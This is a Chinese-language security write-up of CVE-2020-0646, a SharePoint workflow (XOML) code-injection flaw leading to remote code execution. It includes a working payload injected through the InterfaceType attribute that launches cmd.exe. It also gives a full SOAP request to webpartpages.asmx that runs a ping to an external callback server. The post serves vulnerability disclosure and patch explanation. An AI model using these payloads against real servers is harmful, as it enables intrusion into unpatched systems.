CVE-2020-0646:SharePoint RCE漏洞分析

0x00 前言

2019年11月,研究人员向微软报告了SharePoint Online工作流(Workflow)中的代码注入漏洞,该漏洞可以实现远程代码执行(RCE)效果,官方第一时间在在线平台上修复了该问题,然而官方直到2020年1月份才修复了.NET Framework中的问题。因此,如果SharePoint On-Rremise版没有安装2020年1月份的.NET补丁,依然会受该漏洞影响。

需要注意的是,如果IIS支持.XOML扩展,那么攻击者也能在文件上传攻击场景中滥用该问题。

尽管该漏洞与之前发现的漏洞都涉及到相同模块,因此影响效果相同,但这里使用的是不同的方法,因此并不属于针对先前补丁的一种绕过技术。之前发现的漏洞如下所示:

 

0x01 漏洞分析

当编译XOML格式文件时,攻击者可以滥用System.Workflow.Activities命名空间中的某些参数,在SharePoint服务器上运行任意代码。由于可以执行任意代码,因此该缺陷也能用来绕过Workflow编译器的nocode选项。

使用CallExternalMethodActivity类的XOML文件如下所示:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

在编译过程中,攻击者可以将InterfaceType属性值注入生成的临时C#文件中:

…
    private void InitializeComponent()
    {
        …
        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);      
        …
    }
…

完成该操作后,攻击者有可能实现代码运行。需要注意的是,上例中虽然InterfaceType属性受到影响,但其他String类型的属性(如MethodName)会被正确验证或者正确转义处理。

CodeActivity类的ExecuteCode参数同样受这种方式影响,但不能在SharePoint Online版上针对该参数进行攻击,只适用于On-Premise版本。这里可能会有其他类存在潜在的滥用场景。

比如,攻击者可以使用如下HTTP请求,在SharePoint Oline版上执行代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1
Date: Tue, 29 Oct 2019 14:26:21 GMT
MIME-Version: 1.0
Accept: */*
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjects
User-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)
Host: [REDACTED].sharepoint.com
Accept-Language: en-us, en;q=0.1
Accept: auth/sicily
X-FORMS_BASED_AUTH_ACCEPTED: T
Content-Type: text/xml; charset=utf-8
X-Vermeer-Content-Type: text/xml; charset=utf-8
Accept-encoding: gzip, deflate
Connection: Keep-Alive
Pragma: no-cache
Content-Length: 1031
Cookie: [REDACTED]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />

</SequentialWorkflowActivity>


]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>

攻击完成后,可以看到主机会解析对应的DNS名:

攻击者同样可以使用如上请求攻击On-Premise版。

 

0x02 总结

打上CVE-2020-0646补丁后,Workflow中的所有XML元素及属性都会被检查,确保这些元素及属性只包含有限个数的白名单字符。这种场景下,在默认配置的SharePoint平台上,选择nocode选项后,攻击者无法将任意代码注入生成的C#代码中。

(完)